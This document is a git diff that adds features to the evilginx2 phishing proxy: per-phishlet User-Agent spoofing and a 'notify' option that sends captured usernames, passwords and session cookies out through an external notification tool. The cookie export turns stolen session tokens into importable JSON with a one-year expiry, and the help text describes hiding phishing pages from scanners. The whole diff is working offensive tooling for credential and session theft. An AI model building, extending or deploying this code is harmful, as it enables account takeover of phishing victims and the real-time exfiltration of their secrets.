diff --git a/core/config.go b/core/config.go index 7404a824..cfdbed37 100644 --- a/core/config.go +++ b/core/config.go @@ -41,6 +41,8 @@ type PhishletConfig struct { UnauthUrl string `mapstructure:"unauth_url" json:"unauth_url" yaml:"unauth_url"` Enabled bool `mapstructure:"enabled" json:"enabled" yaml:"enabled"` Visible bool `mapstructure:"visible" json:"visible" yaml:"visible"` + CustomUA string `mapstructure:"custom_ua" json:"custom_ua" yaml:"custom_ua"` + Notify string `mapstructure:"notify" json:"notify" yaml:"notify"` } type ProxyConfig struct { @@ -199,8 +201,10 @@ func (c *Config) PhishletConfig(site string) *PhishletConfig { o := &PhishletConfig{ Hostname: "", UnauthUrl: "", + CustomUA: "", Enabled: false, Visible: true, + Notify: "off", } c.phishletConfig[site] = o return o @@ -259,6 +263,51 @@ func (c *Config) SetSiteUnauthUrl(site string, _url string) bool { return true } +func (c *Config) SetSiteCustomUa(site string, custom_ua string) bool { + pl, err := c.GetPhishlet(site) + if err != nil { + log.Error("%v", err) + return false + } + if pl.isTemplate { + log.Error("phishlet is a template - can't set custom user-agent") + return false + } + if custom_ua != "" { + if len(custom_ua) > 256 { + log.Error("user-agent string is too long") + return false + } + } + log.Info("phishlet '%s' custom_ua set to: %s", site, custom_ua) + c.PhishletConfig(site).CustomUA = custom_ua + c.SavePhishlets() + return true +} + +func (c *Config) SetSiteNotify(site string, mode string) bool { + pl, err := c.GetPhishlet(site) + if err != nil { + log.Error("%v", err) + return false + } + if pl.isTemplate { + log.Error("phishlet is a template - can't set notify option") + return false + } + + // 'mode' must be one of "off", "on", or "minimal" + if mode != "off" && mode != "on" && mode != "minimal" { + log.Error("invalid notify mode: %s (valid: off|on|minimal)", mode) + return false + } + + log.Info("phishlet '%s' notify set to: %s", site, mode) + c.PhishletConfig(site).Notify = mode + c.SavePhishlets() + return true +} + func (c *Config) SetBaseDomain(domain string) { c.general.Domain = domain c.cfg.Set(CFG_GENERAL, c.general) @@ -780,6 +829,24 @@ func (c *Config) GetSiteUnauthUrl(site string) (string, bool) { return "", false } +func (c *Config) GetSiteCustomUa(site string) (string, bool) { + if o, ok := c.phishletConfig[site]; ok { + return o.CustomUA, ok + } + return "", false +} + +func (c *Config) GetSiteNotifyMode(site string) string { + return c.PhishletConfig(site).Notify +} + +func (c *Config) IsSiteNotifyModeMinimal(site string) bool { + if c.GetSiteNotifyMode(site) == "minimal" { + return true + } + return false +} + func (c *Config) GetBaseDomain() string { return c.general.Domain } diff --git a/core/http_proxy.go b/core/http_proxy.go index 88a02470..0a29c3ab 100644 --- a/core/http_proxy.go +++ b/core/http_proxy.go @@ -179,6 +179,17 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } } + // inject custom user-agent if set + plet := p.getPhishletByPhishHost(req.Host) + originalUA := req.Header.Get("User-Agent") + if plet != nil { + customUA, ok := p.cfg.GetSiteCustomUa(plet.Name) + if ok && customUA != "" { + req.Header.Set("User-Agent", customUA) + log.Debug("Injected custom User-Agent for phishlet '%s': %s", plet.Name, customUA) + } + } + if p.cfg.GetBlacklistMode() != "off" { if p.bl.IsBlacklisted(from_ip) { if p.bl.IsVerbose() { @@ -397,7 +408,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da sid := p.last_sid p.last_sid += 1 - log.Important("[%d] [%s] new visitor has arrived: %s (%s)", sid, hiblue.Sprint(pl_name), req.Header.Get("User-Agent"), remote_addr) + log.Important("[%d] [%s] new visitor has arrived: %s (%s)", sid, hiblue.Sprint(pl_name), originalUA, remote_addr) log.Info("[%d] [%s] landing URL: %s", sid, hiblue.Sprint(pl_name), req_url) p.sessions[session.Id] = session p.sids[session.Id] = sid @@ -683,6 +694,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil { log.Error("database: %v", err) } + + if p.cfg.GetSiteNotifyMode(pl.Name) != "off" { + // Send notification + SendNotification(pl.Name, "Username Captured!", um[1], p.cfg.IsSiteNotifyModeMinimal(pl.Name)) + } } } @@ -694,6 +710,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil { log.Error("database: %v", err) } + + if p.cfg.GetSiteNotifyMode(pl.Name) != "off" { + // Send notification + SendNotification(pl.Name, "Password Captured!", pm[1], p.cfg.IsSiteNotifyModeMinimal(pl.Name)) + } } } @@ -765,6 +786,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil { log.Error("database: %v", err) } + + if p.cfg.GetSiteNotifyMode(pl.Name) != "off" { + // Send notification + SendNotification(pl.Name, "Username Captured!", um[1], p.cfg.IsSiteNotifyModeMinimal(pl.Name)) + } } } if pl.password.key != nil && pl.password.search != nil && pl.password.key.MatchString(k) { @@ -775,6 +801,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil { log.Error("database: %v", err) } + + if p.cfg.GetSiteNotifyMode(pl.Name) != "off" { + // Send notification + SendNotification(pl.Name, "Password Captured!", pm[1], p.cfg.IsSiteNotifyModeMinimal(pl.Name)) + } } } for _, cp := range pl.custom { @@ -1062,6 +1093,12 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da } s.Finish(false) + if p.cfg.GetSiteNotifyMode(pl.Name) != "off" { + cookieJson := ModdedCookieTokensToJSON(s.CookieTokens) + // Send notification + SendNotification(pl.Name, "Session Captured!", cookieJson, p.cfg.IsSiteNotifyModeMinimal(pl.Name)) + } + if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" { rid, ok := s.Params["rid"] if ok && rid != "" { @@ -1202,6 +1239,12 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da log.Success("[%d] detected authorization URL - tokens intercepted: %s", ps.Index, resp.Request.URL.Path) } + if p.cfg.GetSiteNotifyMode(pl.Name) != "off" { + cookieJson := ModdedCookieTokensToJSON(s.CookieTokens) + // Send notification + SendNotification(pl.Name, "Session Captured!", cookieJson, p.cfg.IsSiteNotifyModeMinimal(pl.Name)) + } + if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" { rid, ok := s.Params["rid"] if ok && rid != "" { diff --git a/core/terminal.go b/core/terminal.go index 7460d2ba..8036d5aa 100644 --- a/core/terminal.go +++ b/core/terminal.go @@ -694,6 +694,20 @@ func (t *Terminal) handlePhishlets(args []string) error { } t.cfg.SetSiteUnauthUrl(args[1], args[2]) return nil + case "custom_ua": + _, err := t.cfg.GetPhishlet(args[1]) + if err != nil { + return err + } + t.cfg.SetSiteCustomUa(args[1], args[2]) + return nil + case "notify": + _, err := t.cfg.GetPhishlet(args[1]) + if err != nil { + return err + } + t.cfg.SetSiteNotify(args[1], args[2]) + return nil } } return fmt.Errorf("invalid syntax: %s", args) @@ -1191,7 +1205,10 @@ func (t *Terminal) createHelp() { readline.PcItem("hostname", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("enable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("disable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("hide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("unhide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-hosts", readline.PcItemDynamic(t.phishletPrefixCompleter)), - readline.PcItem("unauth_url", readline.PcItemDynamic(t.phishletPrefixCompleter)))) + readline.PcItem("unauth_url", readline.PcItemDynamic(t.phishletPrefixCompleter)), + readline.PcItem("custom_ua", readline.PcItemDynamic(t.phishletPrefixCompleter)), + readline.PcItem("notify", readline.PcItemDynamic(t.phishletPrefixCompleter, readline.PcItem("off"), readline.PcItem("on"), readline.PcItem("minimal"))), + )) h.AddSubCommand("phishlets", nil, "", "show status of all available phishlets") h.AddSubCommand("phishlets", nil, "", "show details of a specific phishlets") h.AddSubCommand("phishlets", []string{"create"}, "create ", "create child phishlet from a template phishlet with custom parameters") @@ -1203,6 +1220,8 @@ func (t *Terminal) createHelp() { h.AddSubCommand("phishlets", []string{"hide"}, "hide ", "hides the phishing page, logging and redirecting all requests to it (good for avoiding scanners when sending out phishing links)") h.AddSubCommand("phishlets", []string{"unhide"}, "unhide ", "makes the phishing page available and reachable from the outside") h.AddSubCommand("phishlets", []string{"get-hosts"}, "get-hosts ", "generates entries for hosts file in order to use localhost for testing") + h.AddSubCommand("phishlets", []string{"custom_ua"}, "custom_ua \"\"", "set custom user-agent for the current phishlet. note: wrap it in quotes") + h.AddSubCommand("phishlets", []string{"notify"}, "notify ", "configure notifications per phishlet. 'on' includes sensitive details, 'minimal' sends only short title. required: https://github.com/projectdiscovery/notify") h.AddCommand("sessions", "general", "manage sessions and captured tokens with credentials", "Shows all captured credentials and authentication tokens. Allows to view full history of visits and delete logged sessions.", LAYER_TOP, readline.PcItem("sessions", readline.PcItem("delete", readline.PcItem("all")))) @@ -1362,7 +1381,7 @@ func (t *Terminal) sprintPhishletStatus(site string) string { higray := color.New(color.FgWhite) logray := color.New(color.FgHiBlack) n := 0 - cols := []string{"phishlet", "status", "visibility", "hostname", "unauth_url"} + cols := []string{"phishlet", "status", "visibility", "hostname", "unauth_url", "custom_ua", "notify"} var rows [][]string var pnames []string @@ -1391,6 +1410,8 @@ func (t *Terminal) sprintPhishletStatus(site string) string { } domain, _ := t.cfg.GetSiteDomain(s) unauth_url, _ := t.cfg.GetSiteUnauthUrl(s) + custom_ua, _ := t.cfg.GetSiteCustomUa(s) + notify := t.cfg.GetSiteNotifyMode(s) n += 1 if s == site { @@ -1405,11 +1426,11 @@ func (t *Terminal) sprintPhishletStatus(site string) string { } } - keys := []string{"phishlet", "parent", "status", "visibility", "hostname", "unauth_url", "params"} - vals := []string{hiblue.Sprint(s), blue.Sprint(pl.ParentName), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url), logray.Sprint(param_names)} + keys := []string{"phishlet", "parent", "status", "visibility", "hostname", "unauth_url", "params", "custom_ua", "notify"} + vals := []string{hiblue.Sprint(s), blue.Sprint(pl.ParentName), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url), logray.Sprint(param_names), logreen.Sprint(custom_ua), notify} return AsRows(keys, vals) } else if site == "" { - rows = append(rows, []string{hiblue.Sprint(s), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url)}) + rows = append(rows, []string{hiblue.Sprint(s), status, hidden_status, cyan.Sprint(domain), logreen.Sprint(unauth_url), logreen.Sprint(custom_ua), notify}) } } } diff --git a/core/utils.go b/core/utils.go index 86a7ae0a..13a625e3 100644 --- a/core/utils.go +++ b/core/utils.go @@ -3,13 +3,18 @@ package core import ( "crypto/rand" "crypto/sha256" + "encoding/json" "fmt" "io/fs" "io/ioutil" "os" + "os/exec" "strconv" "strings" "time" + + "github.com/kgretzky/evilginx2/database" + "github.com/kgretzky/evilginx2/log" ) func GenRandomToken() string { @@ -170,3 +175,77 @@ func GetDurationString(t_now time.Time, t_expire time.Time) (ret string) { } return } + +func ModdedCookieTokensToJSON(tokens map[string]map[string]*database.CookieToken) string { + type Cookie struct { + Path string `json:"path"` + Domain string `json:"domain"` + ExpirationDate int64 `json:"expirationDate"` + Value string `json:"value"` + Name string `json:"name"` + HttpOnly bool `json:"httpOnly,omitempty"` + HostOnly bool `json:"hostOnly,omitempty"` + } + + var cookies []*Cookie + for domain, tmap := range tokens { + for k, v := range tmap { + c := &Cookie{ + Path: v.Path, + Domain: domain, + ExpirationDate: time.Now().Add(365 * 24 * time.Hour).Unix(), + Value: v.Value, + Name: k, + HttpOnly: v.HttpOnly, + } + if domain[:1] == "." { + c.HostOnly = false + c.Domain = domain[1:] + } else { + c.HostOnly = true + } + if c.Path == "" { + c.Path = "/" + } + cookies = append(cookies, c) + } + } + + json, _ := json.Marshal(cookies) + return string(json) +} + +func CheckNotifyInstalled() bool { + path, err := exec.LookPath("notify") + if err != nil || path == "" { + return false + } + return true +} + +func SendNotification(phishletName, event, capturedValue string, minimal bool) { + + if !CheckNotifyInstalled() { + log.Warning("'notify' CLI is not in PATH. Install it from https://github.com/projectdiscovery/notify") + return + } + + go func() { + + if minimal { + capturedValue = "" + } + + cmdData := fmt.Sprintf("Phishlet: %s\nMessage:\n%s\n%s", phishletName, event, capturedValue) + + cmd := exec.Command("notify", "-bulk") + cmd.Stdin = strings.NewReader(cmdData) + + err := cmd.Run() + if err != nil { + log.Warning("Failed to send notification: %v", err) + } else { + log.Success("Notification sent successfully") + } + }() +}